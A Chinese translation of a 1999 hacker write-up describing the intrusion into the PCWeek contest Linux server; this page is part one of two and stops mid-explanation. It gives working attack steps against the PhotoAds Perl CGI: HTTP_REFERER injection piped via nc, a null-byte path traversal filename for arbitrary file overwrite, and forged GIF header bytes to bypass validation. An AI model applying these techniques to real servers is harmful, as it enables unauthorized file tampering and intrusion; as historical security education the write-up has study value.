分享
 
 
 

JFS 侵入 PCWEEK-LINUX 主机的详细过程

王朝system·作者佚名  2006-11-23
窄屏简体版  字體: |||超大  

JFS 侵入 PCWEEK-LINUX 主机的详细过程

backend

译者注:PCWeek-Linux 主机是著名电脑杂志 PCWeek 为了测试 WEB 服务器 IIS(NT平台)

和 Apache(Linux平台)的安全性,提供给黑客/骇客攻击的两台主机之一。另一台主机安装

的是 IIS(NT平台)。详细情况请访问网站:http://www.hackpcweek.com/。

首先要进行的当然是——收集远端主机信息:打开的端口和提供的网络服务等。经过扫

描后发现大多数端口都被过滤掉了,原因可能是安装了防火墙或设置了 TCP-Wrapper 。所

以我们只能从 HTTP 服务器着手了。

lemming:~# telnet securelinux.hackpcweek.com 80

Trying 208.184.64.170...

Connected to securelinux.hackpcweek.com.

Escape character is '^]'.

POST X HTTP/1.0

HTTP/1.1 400 Bad Request

Date: Fri, 24 Sep 1999 23:42:15 GMT

Server: Apache/1.3.6 (Unix) (Red Hat/Linux)

(...)

Connection closed by foreign host.

lemming:~#

嗯,服务器操作系统是 Red Hat,WEB服务器是 Apache/1.3.6。从网页上可知服务器安

装了 mod_perl,但只有一个 fingerprint 功能,对我们没有什么用处。

Apache 1.3.6 本身没有包含任何可供远端用户使用的CGI程序,但我们不清楚Red Hat

的发行版本中是否有,所以我们进行了一些测试(test-cgi, wwwboard, count.cgi等)。

结果令人失望。于是我们尝试找出网站的结构。经过对该网站HTML页的分析,终于找出

了网站DocumentRoot下的目录结构:

/

/cgi-bin

/photoads/

/photoads/cgi-bin

很自然地,我们的眼光落在 photoads 这个安装模块上。该商用CGI包可在"http://

www.hoffoce.com"找到,价格为$149,包括供检查和修改用的PERL源代码。

我们找到一个朋友,了解和掌握 photoads 在 Linux 平台上的安装情况,从而大致清楚

运行在该主机上的 photoads。

检查了缺省安装的文件后,我们发现可以取得所有用户名及其口令的数据库(http://

securelinux.hackpcweek.com/photoads/ads_data.pl),但当我们试图访问配置文件

/photoads/cgi-bin/photo_cfg.pl 时,服务器的设置拒绝了这个请求。

通过 /photoads/cgi-bin/env.cgi,我们可以知道该服务器的许多详细情况,如

DocumentRoot 在文件系统的位置(/home/httpd/html),运行 Apache 服务器的用户(

nobody)等。

现在,开始寻找漏洞的第一步,我们尝试寻找是否存在 SSI 或 mod_perl 嵌入 HTML

命令的漏洞,如:

<!--#include file="..."--> for SSI

<!--#perl ...--> for mod_perl

但脚本中的匹配表达式却在许多输入域上过滤此类输入。不过与此同时我们却发现有一

个用户赋值的变量在转换成 HTML 代码前,并没有检查其值的合法性。我们可以通过它将命

令嵌入到由服务器端解析的 HTML 代码中:

在 post.cgi,行 36:

print "you are trying to post an AD from another URL:<b> $ENV{'HTTP_REFERER'}\n";

$ENV{'HTTP_REFERER'}是一个用户赋值的变量,我们可以通过它将任何 HTML 嵌入到代

码中。

请阅读我们提供的文件 getit.ssi 和 getit.mod_perl。

在命令行下使用这些文件如下:

lemming:~# cat getit.ssi | nc securelinux.hackpcweek.com 80

但不幸的是,该主机的配置并不允许 SSI 或 mod_perl,所以我们无法利用这个方法侵

入系统。

因此我们决定在CGI脚本中寻找缺口。在PERL脚本中许多漏洞往往出现在 open()、

system() 或 `` 等调用中,前一个允许读/写/执行,而后两个允许执行。

虽然在该主机找不到后两种调用,但我们却发现了一些 open() 调用:

lemming:~/photoads/cgi-bin# grep 'open.*(.*)' *cgi | more

advisory.cgi: open (DATA, "$BaseDir/$DataFile");

edit.cgi: open (DATA, ">$BaseDir/$DataFile");

edit.cgi: open(MAIL, "|$mailprog -t") || die "Can't open $mailprog!\n";

photo.cgi: open(ULFD,">$write_file") || die show_upload_failed("$write_file $!");

photo.cgi: open ( FILE, $filename );

(...)

$BaseDir 和 $DataFile 两个变量是在配置文件中定义,且不能在运行时修改,无法被

我们利用。

但其余两个就……

在 photo.cgi,行 132:

$write_file = $Upload_Dir.$filename;

open(ULFD,">$write_file") || die show_upload_failed("$write_file $!");

print ULFD $UPLOAD{'FILE_CONTENT'};

close(ULFD);

因此,如果我们可以修改 $write_file 变量,就可以写文件系统中的任何文件。

$write_file 变量来自:

$write_file = $Upload_Dir.$filename;

其中,$Upload_Dir 在配置文件中定义,我们无法修改,但 $filename 变量又如何呢?

在 photo.cgi,行 226:

if( !$UPLOAD{'FILE_NAME'} ) { show_file_not_found(); }

$filename = lc($UPLOAD{'FILE_NAME'});

$filename =~ s/.+\\([^\\]+)$|.+\/([^\/]+)$/\1/;

if ($filename =~ m/gif/) {

$type = '.gif';

}elsif ($filename =~ m/jpg/) {

$type = '.jpg';

}else{

{&Not_Valid_Image}

}

由此可知,该变量来自从提交表格的变量组分解出来的 $UPLOAD{'FILE_NAME'},而且必

须经过匹配表达式过滤,因此我们不能用"../../../../../../../../etc/passwd"格式来取

得任何文件。匹配表达式为:

$filename =~ s/.+\\([^\\]+)$|.+\/([^\/]+)$/\1/;

我们看到,如 $filename 与该表达式匹配,则返回ASCII码1(SOH)。同时,变量还必

须包含"gif"或"jpg",以通过 Not_Valid_Image 过滤器。

经过多次尝试,以及从 Phrack 的关于PERL CGI安全性文章的帮助,我们发现以下格式

/jfs/\../../../../../../../export/www/htdocs/index.html%00.gif

可以成功修改WEB服务器根目录下的index.html文件。:-)

然而,为了上载文件,我们仍须绕过更多的脚本代码。我们发现无法通过POST方法发送

包含上述内容的表格(无法转换%00),唯一的方法只能是GET。

在 photo.cgi ,行 256,会检查被上载文件的内容是否符合图像定义(宽/长/大小)

(记住,photo.cgi 是被当作某个AD上载图像的一个方法)。如果不符合这些细节,脚本将

删除该上载文件。这当然不是我们所希望的!

PCWeek 网站配置文件将 Imagesize 设为 0,所以我们可以忽略该脚本中有关JPG部分,

而将主要精力集中在GIF上。

if ( substr ( $filename, -4, 4 ) eq ".gif" ) {

open ( FILE, $filename );

my $head;

my $gHeadFmt = "A6vvb8CC";

my $pictDescFmt = "vvvvb8";

read FILE, $head, 13;

(my $GIF8xa, $width, $height, my $resFlags, my $bgColor, my $w2h) = unpack $gHeadFmt, $head;

close FILE;

$PhotoWidth = $width;

$PhotoHeight = $height;

$PhotoSize = $size;

return;

}

在 photo.cgi,行 140:

if (($PhotoWidth eq "") || ($PhotoWidth > '700')) {

{&Not_Valid_Image}

}

if ($PhotoWidth > $ImgWidth || $PhotoHeight > $ImgHeight) {

{&Height_Width}

}

由上可知,$PhotoWidth不能大于700,不能为空,且不能大于 $ImgWidth(缺省为350)

所以我们使 $PhotoWidth!="" 且 $Photowidth<350 即可。

对于 $PhotoHeight,则必须小于 $ImgHeight(缺省为250)。

综合以上要求,我们可以得到一个可以使用的数据:$PhotoWidth==$PhotoHeight==0。

研究提取该值的脚本后,我们唯一要做的就是将文件的第6至第9字节的值置为 ASCII 码 0

(NUL)。

在确保 FILE_CONTENT(文件内容)符合以上所有要求后,我们又在以下代码遇到了另一

个问题:

chmod 0755, $Upload_Dir.$filename;

$newname = $AdNum;

rename("$write_file", "$Upload_Dir/$newname");

Show_Upload_Success($write_file);

哇!文件将被改名/移动(这可是我们绝对不希望的!)。

查找 $AdNum 变量的最终处理过程,我们发现它只能包含数字:

$UPLOAD{'AdNum'} =~ tr/0-9//cd;

$UPLOAD{'Password'} =~ tr/a-zA-Z0-9!+&#%$@*//cd;

$AdNum = $UPLOAD{'AdNum'};

其余的字符将被删除。因此我们不能直接应用"../../../"这种方法。

那么,应该怎样做呢?我们看到 rename() 函数需要两个参数:旧的路径和新的路径。

哈哈,在函数过程中没有错误检查!当函数出错后将跳到下一行继续执行!那么如何才能使

该函数失败呢?Linux 内核对文件名长度限制为1024字节。因此如能使脚本将文件改名时新

[1] [2] 下一页

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有